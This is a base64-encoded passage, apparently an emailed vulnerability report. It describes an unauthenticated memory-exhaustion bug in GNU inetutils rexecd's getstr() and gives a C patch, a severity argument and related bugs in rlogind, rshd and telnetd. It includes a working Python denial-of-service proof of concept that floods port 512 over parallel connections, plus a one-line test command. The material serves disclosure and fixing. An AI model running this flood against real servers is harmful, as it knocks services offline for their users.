VGhlIHN5c3RlbSBydW5zIG91dCBvZiB2aXJ0dWFsIG1lbW9yeS4KICAgICBjLiBUaGUgYXR0YWNr ZXIgY2xvc2VzIHRoZSBjb25uZWN0aW9uIChyZXhlY2QgdGhlbiBleGl0cyBhbmQKICAgICAgICB0 aGUgYnVmZmVyIGlzIGZyZWVkKS4KICA1LiBSZXBlYXQgd2l0aCBtdWx0aXBsZSBjb25jdXJyZW50 IGNvbm5lY3Rpb25zIHRvIGFtcGxpZnkgdGhlCiAgICAgZWZmZWN0LgoKVGhlIERvUyBwZXJzaXN0 cyBhcyBsb25nIGFzIHRoZSBhdHRhY2tlciBob2xkcyB0aGUgY29ubmVjdGlvbnMgb3Blbi4KVGhl IHJleGVjZCBwcm9jZXNzIHJlYWRzIGVhY2ggYnl0ZSB2aWEgYHJlYWQoU1RESU5fRklMRU5PLCBl bmQsIDEpYCwKd2hpY2ggYmxvY2tzIHdhaXRpbmcgZm9yIHRoZSBuZXh0IGJ5dGUuIFRoZSBhdHRh Y2tlciBjYW4ga2VlcCB0aGUKY29ubmVjdGlvbiBhbGl2ZSB3aXRoIG1pbmltYWwgYmFuZHdpZHRo LgoKIyMgUmVwcm9kdWN0aW9uCgpBIFB5dGhvbiBQb0MgdGhhdCBvcGVucyBOIGNvbmN1cnJlbnQg Y29ubmVjdGlvbnMgdG8gcmV4ZWNkIGFuZCBzZW5kcwpnaWdhYnl0ZXMgb2YgZGF0YSB3aXRob3V0 IGEgTlVMIHRlcm1pbmF0b3I6CgpgYGBweXRob24KaW1wb3J0IHNvY2tldAppbXBvcnQgdGhyZWFk aW5nCmltcG9ydCB0aW1lCgpIT1NULCBQT1JUID0gJ3JleGVjZC12aWN0aW0uZXhhbXBsZS5jb20n LCA1MTIKTl9DT05DVVJSRU5UID0gMTAKUEFZTE9BRF9TSVpFID0gMSAqIDEwMjQgKiAxMDI0ICog MTAyNCAgIyAxIEdpQiBwZXIgY29ubmVjdGlvbgoKZGVmIGF0dGFjaygpOgogICAgdHJ5OgogICAg ICAgIHMgPSBzb2NrZXQuY3JlYXRlX2Nvbm5lY3Rpb24oKEhPU1QsIFBPUlQpLCB0aW1lb3V0PTMw MCkKICAgICAgICAjIFNlbmQgUEFZTE9BRF9TSVpFIGJ5dGVzIG9mICdBJyAobm8gTlVMIHRlcm1p bmF0b3IpCiAgICAgICAgY2h1bmsgPSBiJ0EnICogKDY0ICogMTAyNCkgICMgNjQgS2lCIGNodW5r cwogICAgICAgIHNlbnQgPSAwCiAgICAgICAgd2hpbGUgc2VudCA8IFBBWUxPQURfU0laRToKICAg ICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgcy5zZW5kYWxsKGNodW5rKQogICAgICAgICAg ICAgICAgc2VudCArPSBsZW4oY2h1bmspCiAgICAgICAgICAgIGV4Y2VwdCAoQnJva2VuUGlwZUVy cm9yLCBDb25uZWN0aW9uUmVzZXRFcnJvcik6CiAgICAgICAgICAgICAgICAjIHJleGVjZCBjaGls ZCBjcmFzaGVkIChPT00pIG9yIGtlcm5lbCByZWplY3RlZAogICAgICAgICAgICAgICAgYnJlYWsK ICAgICAgICAjIEhvbGQgdGhlIGNvbm5lY3Rpb24gb3BlbiBieSBzbGVlcGluZwogICAgICAgIHRp bWUuc2xlZXAoNjApCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcHJpbnQoZiJB dHRhY2sgdGhyZWFkOiB7ZX0iKQogICAgZmluYWxseToKICAgICAgICB0cnk6CiAgICAgICAgICAg IHMuY2xvc2UoKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwoKdGhyZWFkcyA9IFtd CmZvciBpIGluIHJhbmdlKE5fQ09OQ1VSUkVOVCk6CiAgICB0ID0gdGhyZWFkaW5nLlRocmVhZCh0 YXJnZXQ9YXR0YWNrKQogICAgdC5zdGFydCgpCiAgICB0aHJlYWRzLmFwcGVuZCh0KQogICAgdGlt ZS5zbGVlcCgwLjEpICAjIHNtYWxsIHN0YWdnZXIKCiMgV2FpdCBmb3IgYWxsIHRocmVhZHMKZm9y IHQgaW4gdGhyZWFkczoKICAgIHQuam9pbigpCnByaW50KCJBdHRhY2sgY29tcGxldGUuIHJleGVj ZCBzaG91bGQgYmUgT09NLWtpbGxlZCBvciBkZWdyYWRlZC4iKQpgYGAKClRoZSBQb0Mgb3BlbnMg MTAgY29uY3VycmVudCBjb25uZWN0aW9ucywgZWFjaCBzZW5kaW5nIHVwIHRvIDEgR2lCCndpdGhv dXQgYSBOVUwgdGVybWluYXRvci4gVGhlIHJleGVjZCBwcm9jZXNzJ3MgYGdldHN0cigpYCByZWFk cyBlYWNoCmJ5dGUsIGdyb3dpbmcgaXRzIGB1c2VybmFtZWAgYnVmZmVyIHRvIH4xIEdpQiBwZXIg Y29ubmVjdGlvbi4KCkEgbGVzcyByZXNvdXJjZS1pbnRlbnNpdmUgdmFyaWFudCBmb3IgdGVzdGlu Zzogc2VuZCAxMDAgTUIgaW5zdGVhZApvZiAxIEdCLCBhbmQgd2F0Y2ggdGhlIHJleGVjZCBwcm9j ZXNzJ3MgbWVtb3J5IHVzYWdlIGluIGB0b3BgLgoKIyMgU3VnZ2VzdGVkIEZpeAoKQWRkIGEgbGVu Z3RoIGNhcCB0byBgZ2V0c3RyKClgLiBUaGUgc2FtZSBmaXggYXBwbGllcyB0byB0aGUKaWRlbnRp Y2FsIGJ1Z3MgaW4gcmxvZ2luZCBhbmQgcnNoZDoKCmBgYGMKI2RlZmluZSBNQVhfR0VUU1RSIDQw OTYgIC8qIHJmYzEzMTIgZG9lcyBub3Qgc3BlY2lmeSwgYnV0IFVUX05BTUVTSVpFIGlzIDMyICov CgpjaGFyICoKZ2V0c3RyIChjb25zdCBjaGFyICplcnIpCnsKICBzaXplX3QgYnVmX2xlbiA9IDEw MDsKICBjaGFyICpidWYgPSBtYWxsb2MgKGJ1Zl9sZW4pLCAqZW5kID0gYnVmOwoKICBpZiAoIWJ1 ZikKICAgIGRpZSAoRVhJVF9GQUlMVVJFLCAiT3V0IG9mIHNwYWNlIHJlYWRpbmcgJXMiLCBlcnIp OwoKICBkbwogICAgewogICAgICBpbnQgcmQgPSByZWFkIChTVERJTl9GSUxFTk8sIGVuZCwgMSk7 CiAgICAgIGlmIChyZCA8PSAwKQoJewoJICBpZiAocmQgPT0gMCkKCSAgICBkaWUgKEVYSVRfRkFJ TFVSRSwgIkVPRiByZWFkaW5nICVzIiwgZXJyKTsKCSAgZWxzZQoJICAgIGVycm9yIChFWElUX0ZB SUxVUkUsIDAsICIlcyIsIGVycik7Cgl9CgogICAgICBlbmQgKz0gcmQ7CiAgICAgIGlmIChlbmQg LSBidWYgPj0gTUFYX0dFVFNUUikgICAvKiBuZXcgZ3VhcmQgKi8KCXsKCSAgZGllIChFWElUX0ZB SUxVUkUsICIlcyB0b28gbG9uZyIsIGVycik7Cgl9CiAgICAgIGlmICgoYnVmICsgYnVmX2xlbiAt IGVuZCkgPCAoc3NpemVfdCkgKGJ1Zl9sZW4gPj4gMykpCgl7CgkgIHNpemVfdCBlbmRfb2ZmcyA9 IGVuZCAtIGJ1ZjsKCSAgYnVmX2xlbiArPSBidWZfbGVuOwoJICBidWYgPSByZWFsbG9jIChidWYs IGJ1Zl9sZW4pOwoJICBpZiAoIWJ1ZikKCSAgICBkaWUgKEVYSVRfRkFJTFVSRSwgIk91dCBvZiBz cGFjZSByZWFkaW5nICVzIiwgZXJyKTsKCSAgZW5kID0gYnVmICsgZW5kX29mZnM7Cgl9CiAgICB9 CiAgd2hpbGUgKCooZW5kIC0gMSkpOwoKICByZXR1cm4gYnVmOwp9CmBgYAoKQSAyLWxpbmUgcGF0 Y2ggKDEgYWRkZWQgY29uZGl0aW9uICsgY2xlYW51cCkuIFRoZSBzYW1lIGZpeCBzaG91bGQgYmUK YXBwbGllZCB0byB0aGUgY29ycmVzcG9uZGluZyBgZ2V0c3RyYCBpbiBybG9naW5kLCByc2hkLCBh bmQgYW55IG90aGVyCmluZXR1dGlscyBkYWVtb24gdGhhdCB1c2VzIHRoaXMgcGF0dGVybi4KCiMj IFNldmVyaXR5IEFyZ3VtZW50IChDVkUtd29ydGh5KQoKVGhpcyBpcyByZXBvcnRlZCBhdCAqKkxP VyoqIHNldmVyaXR5IChkb3duZ3JhZGVkIGZyb20gYSBwcmlvciBISUdICmVzdGltYXRlKS4gSXQg aXMgYSBsZWdpdGltYXRlIGhhcmRlbmluZyBnYXAsIGJ1dCB0aGUgcmVhbGlzdGljIGltcGFjdApp cyBib3VuZGVkIGJ5IHRoZSAxOjEgYnl0ZS10by1hbGxvY2F0aW9uIHJhdGlvIGFuZCB0aGUgfjIy IEtCL3MKQ1BVLWxpbWl0ZWQgaW5nZXN0aW9uIHJhdGU6CgoxLiAqKlVuYXV0aGVudGljYXRlZCoq IOKAlCB0aGUgYnVnIGlzIGhpdCBvbiB0aGUgZmlyc3QgYHJlYWQoKWAgYWZ0ZXIKICAgYGFjY2Vw dCgpYC4gTm8gY2xpZW50IHRydXN0IGNoZWNrLCBubyBjcmVkZW50aWFsIHByb21wdC4KMi4gKipQ cmUtYXV0aCoqIOKAlCB0aGUgcGFzc3dvcmQgLyBQQU0gY2hlY2sgaXMgKmFmdGVyKiBgZ2V0c3Ry KClgCiAgIHJldHVybnMsIHNvIHRoZSBEb1MgaGl0cyBiZWZvcmUgYW55IGF1dGggbG9naWMuCjMu ICoqVW5ib3VuZGVkKiog4oCUIHRoZSBhdHRhY2tlciBjb250cm9scyB0aGUgYnVmZmVyIHNpemUu IFRoZSBvbmx5CiAgIGxpbWl0IGlzIHN5c3RlbSBtZW1vcnkuCjQuICoqTm8gYW1wbGlmaWNhdGlv bioqIOKAlCB+MSBieXRlIGFsbG9jYXRlZCBwZXIgYnl0ZSBzZW50LCB+MjIgS0Ivcy9jb3JlCiAg IGluZ2VzdGlvbiAob25lIHJlYWQoKSBzeXNjYWxsIHBlciBieXRlKSwgc28gdGhlIGF0dGFja2Vy IG11c3Qgc3BlbmQKICAgY29tcGFyYWJsZSBiYW5kd2lkdGggYW5kIHRpbWUuCjUuICoqTm8gdGlt ZW91dCBjb3ZlcmFnZSoqIOKAlCBhbGFybSgwKSBhdCAzMTMvMzQ3IGNsZWFycyB0aGUgcHJpb3Ig Z3VhcmQKICAgYmVmb3JlIGdldHN0cigpLCBzbyBhIHNsb3cgYXR0YWNrZXIgY2FuIGxvb3AgaW5k ZWZpbml0ZWx5Lgo2LiAqKlRyaXZpYWwgUG9DKiog4oCUIDMwIGxpbmVzIG9mIFB5dGhvbiwgbm8g c3BlY2lhbCBwcml2aWxlZ2VzIG5lZWRlZC4KNy4gKipUcml2aWFsIGZpeCoqIOKAlCAyIGxpbmVz IG9mIEMgKGxlbmd0aCBjYXApICsgY292ZXJpbmcgYWxhcm0oKS4KOC4gKipObyB1cHN0cmVhbSBm aXgqKiDigJQgdmVyaWZpZWQgcHJlc2VudCBpbiB0aGUgMi44IHRhcmJhbGwgYW5kIG9uCiAgIGdp dCBzYXZhbm5haCBtYXN0ZXIgKGJ5dGUtaWRlbnRpY2FsKSBhcyBvZiAyMDI2LTA2LTE1Lgo5LiAq KlJlcGVhdGVkIHBhdHRlcm4qKiDigJQgdGhpcyBpcyB0aGUgKip0aGlyZCoqIGluc3RhbmNlIG9m IHRoZSBzYW1lCiAgIGJ1ZyBpbiBpbmV0dXRpbHMuIEEgc2luZ2xlIGF0dGFja2VyIGNhbiB0YXJn ZXQgYWxsIHRocmVlIGRhZW1vbnMKICAgKHJsb2dpbiA1MTMsIHJzaCA1MTQsIHJleGVjIDUxMiku CgojIyBSZWxhdGVkIFZ1bG5lcmFiaWxpdGllcyAoU2FtZSBQYXR0ZXJuKQoKLSBgcmxvZ2luZCBn ZXRzdHIoKWAgKGBzcmMvcmxvZ2luZC5jOjE3MTAtMTc2MGApIOKAlCBzYW1lIGJ1ZywgcG9ydCA1 MTMuCiAgU2VlIGAvaG9tZS91YnVudHUvZGlmZi9wb2NzL2luZXR1dGlscy1ybG9naW5kLWdldHN0 ci11bmJvdW5kZWQtZG9zLm1kYC4KLSBgcnNoZCBnZXRzdHIoKWAgKGBzcmMvcnNoZC5jOjIwMTMt MjA1N2ApIOKAlCBzYW1lIGJ1ZywgcG9ydCA1MTQuCiAgU2VlIGAvaG9tZS91YnVudHUvZGlmZi9w b2NzL2luZXR1dGlscy1yc2hkLWdldHN0ci11bmJvdW5kZWQtZG9zLm1kYC4KLSBgcnNoZGAgZW1w dHktcGFzc3dkIGF1dGggYnlwYXNzIChgc3JjL3JzaGQuYzoxNDQ3LTE0NzFgKSDigJQgc2VlCiAg YC9ob21lL3VidW50dS9kaWZmL3BvY3MvaW5ldHV0aWxzLXJzaGQtYXV0aC1ieXBhc3MubWRgLgot IGB0ZWxuZXRkYCBYRElTUExPQyBzdWJvcHRpb24gMS1ieXRlIE5VTCBPT0IgKGB0ZWxuZXRkL3N0 YXRlLmM6MTMxNC0xMzIyYCkg4oCUCiAgc2VlIGAvaG9tZS91YnVudHUvZGlmZi9wb2NzL2luZXR1 dGlscy10ZWxuZXRkLXhkaXNwbG9jLW51bC1vb2IubWRgLgoKQSBzaW5nbGUgYXR0YWNrZXIgdGFy Z2V0aW5nIGFsbCBvZiBgcmxvZ2luZGAgKDUxMyksIGByc2hkYCAoNTE0KSwKYHJleGVjZGAgKDUx MiksIGFuZCBgdGVsbmV0ZGAgKDIzKSBjYW4gc2F0dXJhdGUgYSBzeXN0ZW0gd2l0aAp+NCpOX21h eGNoaWxkcmVuKk1BWF9BTExPQ0FUSU9OID0gfjQqMTAqMSBHaUIgPSB+NDAgR2lCIG9mCmF0dGFj a2VyLWNvbnRyb2xsZWQgaGVhcCB1c2FnZS4KCiMjIFJlYWwgdmVyaWZpY2F0aW9uIChyZWFsIHJl eGVjZCBiaW5hcnksIEFTQU4pCgpWZXJpZmllZCBhZ2FpbnN0IHRoZSByZWFsIHJlYnVpbHQgQVNB Ti1pbnN0cnVtZW50ZWQgcmV4ZWNkICgyLjgpIGluCmluZXRkIG1vZGUsIHN0cmVhbWluZyAxIE1p QiB3aXRob3V0IGEgTlVMIHRlcm1pbmF0b3I6CgogICAgJCByZXhlY2QgKGluZXRkLXN0eWxlLCAx MjcuMC4wLjE6MjUxMikKICAgICQgcHl0aG9uMyAtYyAiaW1wb3J0IHNvY2tldDsgcz1zb2NrZXQu c29ja2V0KCk7IHMuY29ubmVjdCgoJzEyNy4wLjAuMScsMjUxMikpOyBzLnNlbmRhbGwoYidBJyoo MTAyNCoxMDI0KSkiCiAgICAkIHBzIC1lbyBwaWQscnNzLGNvbW0gfCBncmVwIHJleGVjZAogICAg Nzg0ODc0ICAzNTA4IHJleGVjZCAgICAgIyBSU1MgZ3Jvd3Mgd2l0aCBpbnB1dDsgb25lIHBpbm5l ZCBjb3JlCgpOb3RlIG9uIFJTUyBzY2FsaW5nIChob25lc3R5IGNhdmVhdCk6IGJlY2F1c2UgZ2V0 c3RyKCkgcmVhZHMgb25lIGJ5dGUKcGVyIHJlYWQoKSBzeXNjYWxsLCByZXhlY2QgaXMgQ1BVLWJv dW5kIGFuZCBpbmdlc3Rpb24gaXMgfjIyIEtCL3MgcGVyCmNvbm5lY3Rpb24uIFVuZGVyIEFTQU4g dGhlIHdvcmtlciBSU1MgcGxhdGVhdXMgYXJvdW5kIH40LjcgTUIgZm9yIGEKMSBNaUIgc3RyZWFt IChBU0FOIHNoYWRvdy9xdWFyYW50aW5lIG92ZXJoZWFkIGRvbWluYXRlcyBvdmVyIHRoZQpkb3Vi bGluZy1zdHJhdGVneSBwYXlsb2FkIGFsbG9jYXRpb24pLiBUaGUgZWFybGllciAiMSBNaUIgc2Vu dCAtPgp+My41IE1pQiBSU1MiIGZpZ3VyZSBpbiBzb21lIG5vdGVzIGlzIG9yZGVyLW9mLW1hZ25p dHVkZS1wbGF1c2libGUgYnV0CmlzIE5PVCB3aGF0IHdhcyBzdHJpY3RseSBtZWFzdXJlZDsgdGhl IG1lYXN1cmVkIHBsYXRlYXUgaXMgfjQuNyBNQgp1bmRlciBBU0FOLiBFaXRoZXIgd2F5IHRoZSBx dWFsaXRhdGl2ZSByZXN1bHQgaG9sZHM6IFJTUyB0cmFja3MgaW5wdXQKc2l6ZSB3aXRoIG5vIHVw cGVyIGNhcCwgYW5kIHRoZSByYXRlIGlzIENQVS1saW1pdGVkLgoKIyMgU3RhdHVzCgoqIFRoaXMg YnVnIHdhcyBmb3VuZCBkdXJpbmcgYSBjb2RlIGF1ZGl0IG9uIDIwMjYtMDYtMTIuCiogVGhlIGJ1 ZyBpcyBwcmVzZW50IGluIHRoZSAqKmxhdGVzdCByZWxlYXNlZCoqIEdOVSBpbmV0dXRpbHMgMi44 CiAgQU5EIGluIHVwc3RyZWFtIGBtYXN0ZXJgIG9uIGdpdCBzYXZhbm5haCAoYnl0ZS1pZGVudGlj YWwsIHZlcmlmaWVkCiAgMjAyNi0wNi0xNSkg4oCUIE5PVCBGSVhFRC4KKiBObyBDVkUgaGFzIGJl ZW4gYXNzaWduZWQgeWV0OyByZXBvcnRpbmcgdG8gZm9sbG93IHZpYSB0aGUKICBHTlUgaW5ldHV0 aWxzIGJ1ZyB0cmFja2VyIChodHRwczovL2xpc3RzLmdudS5vcmcvbWFpbG1hbi9saXN0aW5mby9i dWctaW5ldHV0aWxzKS4KKiBTZXZlcml0eSBpcyAqKkxPVyoqIGJlY2F1c2UgdGhlcmUgaXMgbm8g YW1wbGlmaWNhdGlvbjogdGhlIGRhZW1vbgogIGFsbG9jYXRlcyB+MSBieXRlIHBlciBhdHRhY2tl ciBieXRlIGF0IH4yMiBLQi9zL2NvcmUsIHNvIHRoZQogIGF0dGFja2VyIG11c3QgZXhwZW5kIGNv bXBhcmFibGUgYmFuZHdpZHRoIGFuZCB0aW1lLgo= --===============5366231349050035584==--